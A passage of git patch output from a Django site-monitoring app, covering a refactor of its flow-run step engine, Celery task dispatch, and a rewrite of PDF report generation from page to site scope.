-        if current_data['node'] is None and \
-            self.flowrun.nodes[0]['data']['status'] == 'queued':
-            
-            # create step_data for first step
-            step_data = {
-                'index': 0,
-                'node': self.flowrun.nodes[0]
-            }
-            
-            # create alert obj if needed for first job
-            alert_obj = {
-                'parent': str(self.flowrun_id),
-                'id': str(self.flowrun_id),
-                'status': 'working'
-            }
-            objs = [alert_obj,] if step_data['node']['data']['task_type'] in self.alert_types else []
-
-            # catch empty task_type
-            if not step_data['node']['data']['task_type']:
-                self.complete_flowrun(current_data=step_data)
+                # run first step
+                print('running first step')
+                self.execute_step(step_data, objs)
                 return self.flowrun
 
-            # run first step
-            print('running first step')
-            self.execute_step(step_data=step_data, objects=objs)
-            return self.flowrun
-
-
-        # catch updates without a current_node 
-        if current_data['node'] is None:
-            return self.flowrun
-
+            # catch updates without a current_node 
+            if current_data['node'] is None:
+                return self.flowrun
 
-        # check for node conditions given not 'queued' or 'working'
-        if current_data['node']['data']['conditions'] and \
-            (current_data['node']['data']['status'] != 'failed' or not self.flowrun.configs.get('end_on_fail')):
-            
-            # starting conditons buliding & execution
-            print('building conditons')
+            # check for node conditions given not 'queued' or 'working'
+            if current_data['node']['data']['conditions'] and \
+                (current_data['node']['data']['status'] != 'failed' or not self.flowrun.configs.get('end_on_fail')):
+                
+                # starting conditons buliding & execution
+                print('building conditons')
 
-            # finialize node
-            self.finalize_node(index=current_data['index'])
+                # finialize node
+                self.finalize_node(index=current_data['index'])
 
-            # set defaults
-            true_outcomes       = []
-            false_outcomes      = []
+                # set defaults
+                true_outcomes  = []
+                false_outcomes = []
 
-            # iterate through the objects and run conditions for each
-            for obj_data in current_data['node']['data'].get('objects', []):
-            
-                # get obj using Alerter
-                obj = Alerter(
-                    object_id=obj_data['id'],
-                    task_type=current_data['node']['data']['task_type']
-                ).get_object()
-
-                # check if obj is Test and if status != 'incomplete' (skip if true)
-                if type(obj).__name__ == 'Test':
-                    if obj.status == 'incomplete':
-                        continue
+                # iterate through the objects and run conditions for each
+                for obj_data in current_data['node']['data'].get('objects', []):
                 
-                # build and execute conditions
-                conditions = Alerter(
-                    expressions=current_data['node']['data']['conditions']
-                ).build_expressions()
+                    # get obj using Alerter
+                    obj = Alerter(
+                        object_id=obj_data['id'],
+                        task_type=current_data['node']['data']['task_type']
+                    ).get_object()
+
+                    # check if obj is Test and if status != 'incomplete' (skip if true)
+                    if type(obj).__name__ == 'Test':
+                        if obj.status == 'incomplete':
+                            continue
+                    
+                    # build and execute conditions
+                    conditions = Alerter(
+                        expressions=current_data['node']['data']['conditions']
+                    ).build_expressions()
 
-                print(conditions)
-                
-                # evaluate conditons
-                outcome = eval(f'True if ({conditions}) else False')
+                    print(conditions)
+                    
+                    # evaluate conditons
+                    outcome = eval(f'True if ({conditions}) else False')
 
-                # create new fake parent ID
-                parentID = uuid.uuid4()
+                    # create new fake parent ID
+                    parentID = uuid.uuid4()
+                    
+                    # sorting
+                    if outcome == True:
+                        true_outcomes.append({
+                            'parent'    : str(parentID),
+                            'id'        : obj_data['id'],
+                            'status'    : 'working'
+                        })
+                    if outcome == False:
+                        false_outcomes.append({
+                            'parent'    : str(parentID),
+                            'id'        : obj_data['id'],
+                            'status'    : 'working'
+                        })
+
+                # get child edges
+                edges = self.get_edges_by_source(current_data['node']['id'])
+                children = [self.get_node_by_id(e['edge']['target']) for e in edges]
                 
-                # sorting
-                if outcome == True:
-                    true_outcomes.append({
-                        'parent'    : str(parentID),
-                        'id'        : obj_data['id'],
-                        'status'    : 'working'
-                    })
-                if outcome == False:
-                    false_outcomes.append({
-                        'parent'    : str(parentID),
-                        'id'        : obj_data['id'],
-                        'status'    : 'working'
-                    })
-
-            # get child edges
-            edges = self.get_edges_by_source(current_data['node']['id'])
-            children = [self.get_node_by_id(e['edge']['target']) for e in edges]
-            
-            # establish true/false child nodes
-            true_child = None
-            false_child = None
-            for c in children:
-                if c['node']['data']['start_if'] == True:
-                    true_child = c
-                if c['node']['data']['start_if'] == False:
-                    false_child = c
-
-            # run true_child if true_outcomes exists
-            if len(true_outcomes) > 0:
-                print('RUNNING TRUE CHILD')
-                true_task = true_child['node']['data']['task_type'] if true_child else None
-                # sleeping random for DB 
-                time.sleep(random.uniform(1, 5))
-                self.execute_step(
-                    step_data=true_child, 
-                    objects=true_outcomes if true_task in self.alert_types else []
-                )
-            
-            # run false_child if false_outcomes exists
-            if len(false_outcomes) > 0:
-                print('RUNNING FALSE CHILD')
-                false_task = false_child['node']['data']['task_type'] if false_child else None
-                # sleeping random for DB 
-                time.sleep(random.uniform(1, 5))
-                self.execute_step(
-                    step_data=false_child, 
-                    objects=false_outcomes if false_task in self.alert_types else []
-                )
-
-            # ending section
-            return self.flowrun
+                # establish true/false child nodes
+                true_child = None
+                false_child = None
+                for c in children:
+                    if c['node']['data']['start_if'] == True:
+                        true_child = c
+                    if c['node']['data']['start_if'] == False:
+                        false_child = c
+
+                # run true_child if true_outcomes exists
+                if len(true_outcomes) > 0:
+                    print('RUNNING TRUE CHILD')
+                    true_task = true_child['node']['data']['task_type'] if true_child else None
+                    # sleeping random for DB 
+                    time.sleep(random.uniform(1, 5))
+                    self.execute_step(
+                        step_data=true_child, 
+                        objects=true_outcomes if true_task in self.alert_types else []
+                    )
+                
+                # run false_child if false_outcomes exists
+                if len(false_outcomes) > 0:
+                    print('RUNNING FALSE CHILD')
+                    false_task = false_child['node']['data']['task_type'] if false_child else None
+                    # sleeping random for DB 
+                    time.sleep(random.uniform(1, 5))
+                    self.execute_step(
+                        step_data=false_child, 
+                        objects=false_outcomes if false_task in self.alert_types else []
+                    )
+
+                # ending section
+                return self.flowrun
 
-        
-        # get and execute next step if current_node status is 'passed'
-        if current_data['node']['data']['status'] == 'passed':
+            # get and execute next step if current_node status is 'passed'
+            if current_data['node']['data']['status'] == 'passed':
 
-            # finialize node
-            self.finalize_node(index=current_data['index'])
-            
-            # get child edges
-            edges = self.get_edges_by_source(current_data['node']['id'])
-            children = [self.get_node_by_id(e['edge']['target']) for e in edges]
-
-            # children length should be <= 1 since
-            # current_node.conditions == None
-            if len(children) == 1:
-                if children[0] is not None:
-                    next_step = children[0]
-                    if next_step['node']['data']['task_type']:
-                        print('running next step after "PASSED" non-conditional step')
-                        objs = []
-                        if next_step['node']['data']['task_type'] in self.alert_types:
-                            objs = current_data['node']['data'].get('objects', [])
-                        self.execute_step(step_data=next_step, objects=objs)
-                        return self.flowrun
+                # finialize node
+                self.finalize_node(index=current_data['index'])
+                
+                # get child edges
+                edges = self.get_edges_by_source(current_data['node']['id'])
+                children = [self.get_node_by_id(e['edge']['target']) for e in edges]
+
+                # children length should be <= 1 since
+                # current_node.conditions == None
+                if len(children) == 1:
+                    if children[0] is not None:
+                        next_step = children[0]
+                        if next_step['node']['data']['task_type']:
+                            print('running next step after "PASSED" non-conditional step')
+                            
+                            _objs   = current_data['node']['data'].get('objects', [])
+                            parent  = self.get_node_by_id(current_data['node']['data'].get('parentId'))
+                            objs    = []
+                            res     = []
+                            
+                            # set `objs` to previous object data
+                            if next_step['node']['data']['task_type'] in self.alert_types:
+                                objs = _objs
+
+                            # set `res` using object data from previous step
+                            if len(_objs) > 0:
+       
+                                site_types = ['caserun', 'report']
+                                page_types = ['test', 'scan']
+                                
+                                for obj_data in _objs:
+                                    
+                                    # get obj using Alerter
+                                    obj = Alerter(
+                                        object_id=obj_data['id'],
+                                        task_type=parent['node']['data']['task_type']
+                                    ).get_object()
+
+                                    # get obj type 
+                                    obj_type = type(obj).__name__.lower()
+                                    
+                                    # adding site as resource
+                                    if obj_type in site_types:
+                                        res = [{
+                                            "id"    : str(self.flowrun.site.id), 
+                                            "str"   : self.flowrun.site.site_url, 
+                                            "type"  : "site"
+                                        }]
+
+                                        # ending loop early if site
+                                        break
+                                    
+                                    # adding associated pages as resources
+                                    elif obj_type in page_types:
+                                        res.append({
+                                            "id"    : str(obj.page.id), 
+                                            "str"   : obj.page.page_url, 
+                                            "type"  : "page"
+                                        })
+
+                            self.execute_step(next_step, objs, res)
+                            return self.flowrun
+
+                # if no children, end flowrun and update logs
+                self.complete_flowrun(current_data=current_data)
+                
+                # return flowrun
+                return self.flowrun
+                
+            # mark flowrun as `complete` and `failed` if 
+            # current_node status is 'failed' & 'end_on_fail' is True
+            if current_data['node']['data']['status'] == 'failed':
 
-            # if no children, end flowrun and update logs
-            self.complete_flowrun(current_data=current_data)
-            
-            # return flowrun
-            return self.flowrun
-            
-        
-        # mark flowrun as `complete` and `failed` if 
-        # current_node status is 'failed' & 'end_on_fail' is True
-        if current_data['node']['data']['status'] == 'failed':
+                # finialize node
+                self.finalize_node(index=current_data['index'])
 
-            # finialize node
-            self.finalize_node(index=current_data['index'])
+                # end flowrun if requested
+                if self.flowrun.configs.get('end_on_fail', True):
 
-            # end flowrun if requested
-            if self.flowrun.configs.get('end_on_fail', True):
+                    print('--- ending run early due to failure ---')
+                    self.complete_flowrun(current_data=current_data)
 
-                print('--- ending run early due to failure ---')
+                    # return flowrun
+                    return self.flowrun
+                        
+                # get child edges
+                edges = self.get_edges_by_source(current_data['node']['id'])
+                children = [self.get_node_by_id(e['edge']['target']) for e in edges]
+
+                # children length should be <= 1 since
+                # current_node.conditions == None
+                if len(children) == 1:
+                    if children[0] is not None:
+                        next_step = children[0]
+                        # check for data in next_step
+                        if next_step['node']['data']['task_type']:
+                            print('running next step after "FAILED" non-conditional step')
+                            objs = []
+                            if next_step['node']['data']['task_type'] in self.alert_types:
+                                objs = current_data['node']['data'].get('objects', [])
+                            self.execute_step(next_step, objs)
+                            return self.flowrun
+
+                # if no children, end flowrun as 'failed' and update logs
                 self.complete_flowrun(current_data=current_data)
 
                 # return flowrun
                 return self.flowrun
-                    
-            # get child edges
-            edges = self.get_edges_by_source(current_data['node']['id'])
-            children = [self.get_node_by_id(e['edge']['target']) for e in edges]
-
-            # children length should be <= 1 since
-            # current_node.conditions == None
-            if len(children) == 1:
-                if children[0] is not None:
-                    next_step = children[0]
-                    # check for data in next_step
-                    if next_step['node']['data']['task_type']:
-                        print('running next step after "FAILED" non-conditional step')
-                        objs = []
-                        if next_step['node']['data']['task_type'] in self.alert_types:
-                            objs = current_data['node']['data'].get('objects', [])
-                        self.execute_step(step_data=next_step, objects=objs)
-                        return self.flowrun
 
-            # if no children, end flowrun as 'failed' and update logs
-            self.complete_flowrun(current_data=current_data)
+        # log any exception
+        except Exception as e:
+            print(f'[FLOWRUN Error]: {e}')
 
-            # return flowrun
-            return self.flowrun
+        # handle cache cleanup
+        finally:
+            
+            # rm local run cache
+            print('[FLOWRUN] removing cache lock')
+            cache.delete(lock_key)
+            
+            # rm local pending lock and run
+            if cache.get(pending_key):
+                print('[FLOWRUN] running pending follow-up')
+                cache.delete(pending_key)
+                Flowr(flowrun_id=str(self.flowrun_id)).run_next()
 
 
-        
 
-    def execute_step(self, step_data: dict=None, objects: list=None) -> None:
+
+    def execute_step(
+            self, 
+            step_data   : dict=None, 
+            objects     : list=None, 
+            resources   : list=None,
+        ) -> None:
         """ 
         Executes the `step` with associated job.
 
         Args:
-            'step_data': {
-                'index': str,
-                'node' : dict
-            },
-            'objects': list
-        }
-        
-        Returns: None
+            'step_data' : dict,
+            'objects'   : list, 
+            'resources' : list
+
+        Returns:
+            None
         """
 
         if step_data is None:
@@ -758,8 +831,7 @@ def execute_step(self, step_data: dict=None, objects: list=None) -> None:
             'str'   : self.flowrun.site.site_url,
             'id'    : str(self.flowrun.site.id),
             'type'  : 'site'
-        },]
-    
+        },] if not resources else resources
 
         # create new scan
         if task_type == 'scan':
@@ -801,7 +873,7 @@ def execute_step(self, step_data: dict=None, objects: list=None) -> None:
 
         # create new issue
         if task_type == 'issue':
-            create_issue_bg(
+            create_issue_bg.delay(
                 account_id    = account_id,
                 objects       = objects,
                 title         = node_data['title'],
@@ -813,7 +885,7 @@ def execute_step(self, step_data: dict=None, objects: list=None) -> None:
         
         # create new report
         if task_type == 'report':
-            create_report_bg(
+            create_report_bg.delay(
                 scope         = scope,
                 resources     = resources,
                 account_id    = account_id,
@@ -824,7 +896,7 @@ def execute_step(self, step_data: dict=None, objects: list=None) -> None:
 
         # send phone notification
         if task_type == 'phone':
-            send_phone_bg(
+            send_phone_bg.delay(
                 account_id    = account_id,
                 objects       = objects,
                 phone_number  = node_data['phone_number'],
@@ -835,7 +907,7 @@ def execute_step(self, step_data: dict=None, objects: list=None) -> None:
         
         # send slack notification
         if task_type == 'slack':
-            send_slack_bg(
+            send_slack_bg.delay(
                 account_id    = account_id,
                 objects       = objects,
                 body          = node_data['message'],
@@ -845,7 +917,7 @@ def execute_step(self, step_data: dict=None, objects: list=None) -> None:
 
         # send email notification
         if task_type == 'email':
-            send_email_bg(
+            send_email_bg.delay(
                 account_id    = account_id,
                 objects       = objects,
                 message_obj   = {
@@ -860,7 +932,7 @@ def execute_step(self, step_data: dict=None, objects: list=None) -> None:
 
         # send webhook notification
         if task_type == 'webhook':
-            send_webhook_bg(
+            send_webhook_bg.delay(
                 account_id    = account_id,
                 objects       = objects,
                 request_type  = node_data['request_type'],
@@ -871,17 +943,14 @@ def execute_step(self, step_data: dict=None, objects: list=None) -> None:
                 node_index    = node_index
             )
 
-
         # check all objs.time_complete for each "working" node.
         # if node is `working` and all obj.time_complete 
         # are not None: update node with status.'passed'
         self.check_all_working_nodes(ignore_ids=[node_data['id']])
 
-
         # returning 
         return None
 
 
 
 
-
diff --git a/app/api/utils/updater.py b/app/api/utils/updater.py
index 9eca8499..59bfe72e 100644
--- a/app/api/utils/updater.py
+++ b/app/api/utils/updater.py
@@ -1,5 +1,6 @@
 from ..models import *
 from django.utils import timezone
+from cursion import settings
 
 
 
@@ -155,8 +156,14 @@ def get_step_status(object_list):
     flowrun.logs = logs
     flowrun.save()
 
-    # signals.py should pickup this `update()` event and 
-    # execute the run_next() instance of flowr.py
+    # run_next() should execute for updater-driven changes.
+    # keep this explicit so progression does not rely solely on signal timing.
+    if settings.LOCATION == 'us':
+        try:
+            from .flowr import Flowr
+            Flowr(flowrun_id=str(flowrun.id)).run_next()
+        except Exception as e:
+            print(f'[update_flowrun] run_next trigger error: {e}')
 
     # return updated flowrun
-    return flowrun
\ No newline at end of file
+    return flowrun

From 6276287afc262a6701f41b486cb7ddedf5dc423c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 Apr 2026 13:40:59 -0500
Subject: [PATCH 1093/1099] fix: minor doc-string formatting

---
 app/api/tasks.py         | 5 +++--
 app/api/utils/alerter.py | 1 -
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index e4648c78..0cfd77f8 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -3637,7 +3637,8 @@ def send_phone_bg(
         'flowrun_id'    : str,
         'node_index'    : str,
     
-    Returns: None
+    Returns:
+        None
     """
 
     # interating through objects
@@ -3662,7 +3663,7 @@ def send_phone_bg(
                 'message': resp.get('message'),
                 'objects': [{
                     'parent': obj['parent'],
-                    'id': obj['id'], 
+                    'id': obj['id'],
                     'status': 'passed' if resp.get('success') else 'failed'
                 }]
             })
diff --git a/app/api/utils/alerter.py b/app/api/utils/alerter.py
index 0685348d..f8607a49 100644
--- a/app/api/utils/alerter.py
+++ b/app/api/utils/alerter.py
@@ -15,7 +15,6 @@ class Alerter():
         'alert_id'   : str,
         'object_id'  : str,
         'expressions' : list
-    }
 
     - Use `Alerter.run_alert()` to run an `Alert`
     - Use `Alerter.get_object()` to set self.object

From af5c3ce633650bc19facf178a7def3cb6a385bca Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 Apr 2026 13:41:44 -0500
Subject: [PATCH 1094/1099] fix: null tag catch

---
 app/api/v1/ops/services.py | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 737ea16f..2bac2933 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -7737,8 +7737,9 @@ def get_tags(request: object=None) -> object:
     # group as one -- super slow!!! fix at somepoint
     all = list(sites) + pages
     for i in all:
-        for tag in i.tags:
-            tags.append(tag)
+        if i.tags:
+            for tag in i.tags:
+                tags.append(tag)
     
     # format data
     data = {

From f61a4fa2cf7c283d7812dfccdcc0dab5ec0b0edc Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 Apr 2026 15:51:30 -0500
Subject: [PATCH 1095/1099] update: new `Report` rewrite and scope change

---
 app/api/models.py               |    9 +-
 app/api/queue.py                |   10 +-
 app/api/tasks.py                |  136 ++--
 app/api/utils/archive/report.py |  580 ++++++++++++++
 app/api/utils/reporter.py       | 1245 ++++++++++++++++++-------------
 app/api/v1/ops/serializers.py   |    3 +-
 app/api/v1/ops/services.py      |  102 ++-
 7 files changed, 1495 insertions(+), 590 deletions(-)
 create mode 100644 app/api/utils/archive/report.py

diff --git a/app/api/models.py b/app/api/models.py
index dee5d690..bf7f7315 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -572,7 +572,7 @@ def __str__(self):
 class Report(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
-    page = models.ForeignKey(Page, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
+    page = models.ForeignKey(Page, on_delete=models.CASCADE, null=True, blank=True, serialize=True) ### REMOVE
     user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
@@ -581,7 +581,11 @@ class Report(models.Model):
     info = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
-        return f'{self.page.page_url}_report'
+        if self.page and self.page.page_url:
+            return f'{self.page.page_url}_report'
+        if self.site and self.site.site_url:
+            return f'{self.site.site_url}_report'
+        return f'{self.id}_report'
 
 
 
@@ -757,4 +761,3 @@ class Coupon(models.Model):
     def __str__(self):
         return f'{self.code}'
 
-
diff --git a/app/api/queue.py b/app/api/queue.py
index 5e54ad10..a746c0b5 100644
--- a/app/api/queue.py
+++ b/app/api/queue.py
@@ -195,6 +195,15 @@ def _get_account_id_from_page_id(page_id: str) -> str | None:
         return None
 
 
+def _get_account_id_from_site_id(site_id: str) -> str | None:
+    try:
+        Site = apps.get_model('api', 'Site')
+        site = Site.objects.select_related('account').get(id=site_id)
+        return str(site.account.id) if site.account else None
+    except Exception:
+        return None
+
+
 
 
 # setting locking manager to prevent duplicate tasks
@@ -213,4 +222,3 @@ def task_lock(lock_name, timeout=300):
 @contextmanager
 def _always_acquired():
     yield True, 0
-
diff --git a/app/api/tasks.py b/app/api/tasks.py
index 0cfd77f8..175a4741 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -26,7 +26,8 @@
     _reschedule_due_to_concurrency, task_lock, 
     _get_account_id_from_scan_id, _get_account_id_from_test_id,
     _get_account_id_from_caserun_id, get_task_queue, 
-    apply_async_in_queue, _get_account_id_from_page_id
+    apply_async_in_queue,
+    _get_account_id_from_site_id
 )
 from .models import *
 from functools import reduce
@@ -2066,7 +2067,7 @@ def create_test_bg(self, **kwargs) -> None:
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def create_report(
         self,
-        page_id: str=None,
+        site_id: str=None,
         alert_id: str=None,
         flowrun_id: str=None,
         node_index: str=None,
@@ -2074,41 +2075,50 @@ def create_report(
         **kwargs,
     ) -> None:
     """ 
-    Generates a new PDF `Report` of the requested `Page`
+    Generates a new PDF `Report` of the requested `Site`
     and runs the associated `Alert` if requested
 
     Args:
-        page_id       : str, 
+        site_id       : str,
         alert_id      : str,
         flowrun_id    : str
         node_index    : str
     
     Returns: None
     """
-    
-    account_id = _get_account_id_from_page_id(str(page_id)) if page_id else None
+    if not site_id:
+        logger.warning('create_report skipped: missing site_id')
+        return None
+
+    account_id = _get_account_id_from_site_id(str(site_id)) if site_id else None
     with (account_concurrency_slot(self, account_id=account_id) if account_id else _always_acquired()) as slot:
         acquired, rank = slot
         if not acquired:
             _reschedule_due_to_concurrency(self, rank=rank)
             return None
 
-        # get page
-        page = Page.objects.get(id=page_id)
+        # get site
+        site = Site.objects.get(id=site_id)
+
+        lookback_days = kwargs.get('lookback_days', 7)
+        report_type = kwargs.get('type', ['issues', 'tests', 'caseruns', 'performance'])
+        text_color = kwargs.get('text_color', '#24262d')
+        background_color = kwargs.get('background_color', '#e1effd')
+        highlight_color = kwargs.get('highlight_color', '#ffffff')
     
         # create report obj
         info = {
-            "text_color": '#24262d',
-            "background_color": '#e1effd',
-            "highlight_color": '#ffffff',
+            "text_color": text_color,
+            "background_color": background_color,
+            "highlight_color": highlight_color,
+            "lookback_days": lookback_days,
         }
         report = Report.objects.create(
-            user=page.user,
-            site=page.site,
-            account=page.account,
-            page=page,
+            user=site.user,
+            site=site,
+            account=site.account,
             info=info,
-            type=['lighthouse', 'yellowlab']
+            type=report_type
         )
 
         # generate report PDF
@@ -2123,15 +2133,15 @@ def create_report(
             update_flowrun(**{
                 'flowrun_id': flowrun_id,
                 'node_index': node_index,
-                'message': f'report {'created' if  resp['success'] else 'not created'} for {page.page_url} | report_id: {str(report.id)}',
+                'message': f'report {"created" if resp["success"] else "not created"} for {site.site_url} | report_id: {str(report.id)}',
                 'objects': [{
-                    'parent': str(page.id),
+                    'parent': str(site.id),
                     'id': str(report.id),
                     'status': 'passed' if resp['success'] else 'failed'
                 }]
             })
         
-        logger.info('Created new report of page')
+        logger.info('Created new report of site')
         return None
 
 
@@ -2140,7 +2150,7 @@ def create_report(
 @shared_task
 def create_report_bg(**kwargs) -> None:
     """
-    Creates new `Reports` for the requested `Pages`
+    Creates new `Reports` for the requested `Sites`
 
     Args:
         'scope'         : str,
@@ -2151,9 +2161,9 @@ def create_report_bg(**kwargs) -> None:
         'task_id'       : str
         'flowrun_id'    : str
         'node_index'    : str
-    }
      
-    Returns: None
+    Returns:
+        None
     """
 
     # get data
@@ -2179,7 +2189,6 @@ def create_report_bg(**kwargs) -> None:
         queue = get_task_queue(kwargs=kwargs)
 
         # setting defaults
-        pages = []
         sites = []
         objects = []
 
@@ -2189,21 +2198,10 @@ def create_report_bg(**kwargs) -> None:
 
         logger.info(f'passed resources => {resources}')
             
-        # iterating through resources 
-        # and adding to sites or pages
+        # iterating through resources and adding sites
         if len(resources) > 0:
             for item in resources:
-                
-                # adding to pages
-                if item['type'] == 'page':
-                    try:
-                        pages.append(
-                            Page.objects.get(id=item['id'])
-                        ) 
-                    except Exception as e:
-                        logger.warning(e)
-                
-                # adding to sites
+
                 if item['type'] == 'site':
                     try:
                         sites.append(
@@ -2212,20 +2210,24 @@ def create_report_bg(**kwargs) -> None:
                     except Exception as e:
                         logger.warning(e)
 
+                if item['type'] == 'page':
+                    try:
+                        page = Page.objects.get(id=item['id'])
+                        sites.append(page.site)
+                    except Exception as e:
+                        logger.warning(e)
+
         # iterating through tags 
-        # and adding to sites or pages
+        # and adding to sites
         if len(tags) > 0:
             for tag in tags:
-                
-                # adding to pages
                 try:
-                    pages += Page.objects.filter(tags__contains=[tag])
+                    sites += Site.objects.filter(tags__contains=[tag])
                 except Exception as e:
                     logger.warning(e)
-                
-                # adding to sites
                 try:
-                    sites += Site.objects.filter(tags__contains=[tag])
+                    tag_pages = Page.objects.filter(tags__contains=[tag])
+                    sites += [page.site for page in tag_pages]
                 except Exception as e:
                     logger.warning(e)
         
@@ -2234,15 +2236,20 @@ def create_report_bg(**kwargs) -> None:
         if len(resources) == 0 and scope == 'account':
             sites = Site.objects.filter(account=account)
 
-        # get all pages from existing sites
+        # de-duplicate sites
+        deduped_sites = []
+        seen_site_ids = set()
         for site in sites:
-            pages += Page.objects.filter(site=site).exclude(id__in=[str(p.id) for p in pages])
+            if site is None or str(site.id) in seen_site_ids:
+                continue
+            seen_site_ids.add(str(site.id))
+            deduped_sites.append(site)
+        sites = deduped_sites
 
         # record objects for each report
-        for page in pages:
-
+        for site in sites:
             objects.append({
-                'parent': str(page.id),
+                'parent': str(site.id),
                 'id': None,
                 'status': 'working'
             })
@@ -2254,11 +2261,17 @@ def create_report_bg(**kwargs) -> None:
                 'node_index': node_index,
                 'objects': objects,
                 'node_status': 'working',
-                'message': f'starting {str(len(objects))} reports for {page.site.site_url} | run_id: {flowrun_id}'
+                'message': f'starting {str(len(objects))} site reports | run_id: {flowrun_id}'
             })
 
-        # create reports for each page
-        for page in pages:
+        lookback_days = kwargs.get('lookback_days', 7)
+        report_type = kwargs.get('type', ['issues', 'tests', 'caseruns', 'performance'])
+        text_color = kwargs.get('text_color', '#24262d')
+        background_color = kwargs.get('background_color', '#e1effd')
+        highlight_color = kwargs.get('highlight_color', '#ffffff')
+
+        # create reports for each site
+        for site in sites:
 
             # sleeping random for DB 
             time.sleep(random.uniform(2, 6))
@@ -2266,7 +2279,12 @@ def create_report_bg(**kwargs) -> None:
             apply_async_in_queue(
                 create_report,
                 kwargs={
-                    'page_id': str(page.id),
+                    'site_id': str(site.id),
+                    'lookback_days': lookback_days,
+                    'type': report_type,
+                    'text_color': text_color,
+                    'background_color': background_color,
+                    'highlight_color': highlight_color,
                     'alert_id': alert_id,
                     'flowrun_id': flowrun_id,
                     'node_index': node_index,
@@ -2278,7 +2296,7 @@ def create_report_bg(**kwargs) -> None:
         # update schedule if task_id is not None
         update_schedule(task_id=task_id)
         
-        logger.info('Created new Reports')
+        logger.info('Created new site Reports')
         return None
 
 
@@ -3088,13 +3106,15 @@ def delete_report_s3_bg(report_id: str) -> None:
     Returns: None
     """
 
-    # get site
-    site = Report.objects.get(id=report_id).site
-
-    # deleting s3 objects
     try:
+        report = Report.objects.get(id=report_id)
+        site = report.site or (report.page.site if report.page else None)
+        if site is None:
+            logger.info('No site found for report; skipping report s3 delete')
+            return None
+
         bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
-        bucket.objects.filter(Prefix=str(f'static/sites/{site.id}/{report_id}.pdf')).delete()
+        bucket.objects.filter(Prefix=str(f'static/sites/{site.id}/reports/{report_id}.pdf')).delete()
     except:
         pass
 
diff --git a/app/api/utils/archive/report.py b/app/api/utils/archive/report.py
new file mode 100644
index 00000000..24491d83
--- /dev/null
+++ b/app/api/utils/archive/report.py
@@ -0,0 +1,580 @@
+from ...models import *
+from cursion import settings
+from reportlab.lib.pagesizes import letter
+from reportlab.lib.units import inch
+from reportlab.lib.colors import HexColor
+from reportlab.pdfgen import canvas
+import os, boto3, textwrap, requests
+
+
+
+
+
+
+class Report():
+    """ 
+    Used for generating web vitals reports for 
+    the associated `Page` & `Scan`
+
+    Args:
+        'report': <report:obj>,
+        'scan'  : <scan:obj>
+
+    Use self.generate_report() to create a new report
+
+    Returns:
+        'report' : object,
+        'success': bool,
+        'message': str
+    """
+
+
+
+
+    def __init__(self, report: object, scan: object=None):
+        
+        # getting report, scan, & page
+        self.report = report
+        self.page = self.report.page
+        self.scan = scan
+
+        # retrieveing latest scan if none
+        if scan is None:
+            try:
+                self.scan = Scan.objects.filter(
+                    page=self.page
+                ).exclude(
+                    time_completed=None
+                ).order_by('-time_created')[0]
+            except Exception as e:
+                print(e)
+                self.scan = None
+
+        # building paths & canvas template
+        if os.path.exists(os.path.join(settings.BASE_DIR, f'reports/')):
+            self.local_path = os.path.join(settings.BASE_DIR, f'reports/{self.report.id}.pdf')
+        else:
+            os.makedirs(f'{settings.BASE_DIR}/reports')
+            self.local_path = os.path.join(settings.BASE_DIR, f'reports/{self.report.id}.pdf')
+    
+        # setting default colors 
+        self.page_index = 0
+        self.text_color = self.report.info['text_color']
+        self.highlight_color = self.report.info['highlight_color']
+        self.background_color = self.report.info['background_color']
+        self.c = canvas.Canvas(self.local_path, letter)
+        self.y = 9
+
+        # define s3 instance
+        self.s3 = boto3.client('s3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+            region_name=str(settings.AWS_S3_REGION_NAME), 
+            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+        )
+
+    
+
+
+    def setup_page(self) -> None:
+        # sets the defaults for a new page
+        self.c.setFillColor(HexColor(self.background_color))
+        self.c.rect(0, 0, 8.5*inch, 11*inch, stroke=0, fill=1)
+        return None
+
+
+
+
+    def end_page(self) -> None:
+        # adds page number and ends page
+        self.c.setFont('Helvetica-Bold', 15)
+        self.c.setFillColor(HexColor(self.text_color))
+        self.page_index += 1
+        self.c.drawString(7.7*inch, .3*inch, str(self.page_index))
+        self.c.showPage()
+        return None
+
+
+
+
+    def draw_page_title(self, title: str) -> None:
+        # adds a title to the given page 
+        self.c.setFont('Helvetica-Bold', 32)
+        self.c.setFillColor(HexColor(self.text_color))
+        self.c.drawCentredString(4.25*inch, 10*inch, title)
+        return None
+
+
+
+
+    def publish_report(self) -> None:
+        # saves report and uploads to s3
+        self.c.save()
+        remote_path = f'static/sites/{self.report.page.site.id}/{self.report.page.id}/{self.report.id}.pdf'
+        # uploading package to remote s3 
+        with open(self.local_path, 'rb') as data:
+            self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME),
+                remote_path, ExtraArgs={
+                    'ACL': 'public-read', 'ContentType': 'application/pdf'}
+            )
+        # building and saving report_url
+        report_url = f'{settings.AWS_S3_URL_PATH}/{remote_path}#toolbar=0'
+        self.report.path = report_url
+        self.report.save()
+        os.remove(self.local_path)
+        return None
+
+
+
+
+    def draw_wrapped_line(
+            self, 
+            text: str, 
+            length: int, 
+            x_pos: int, 
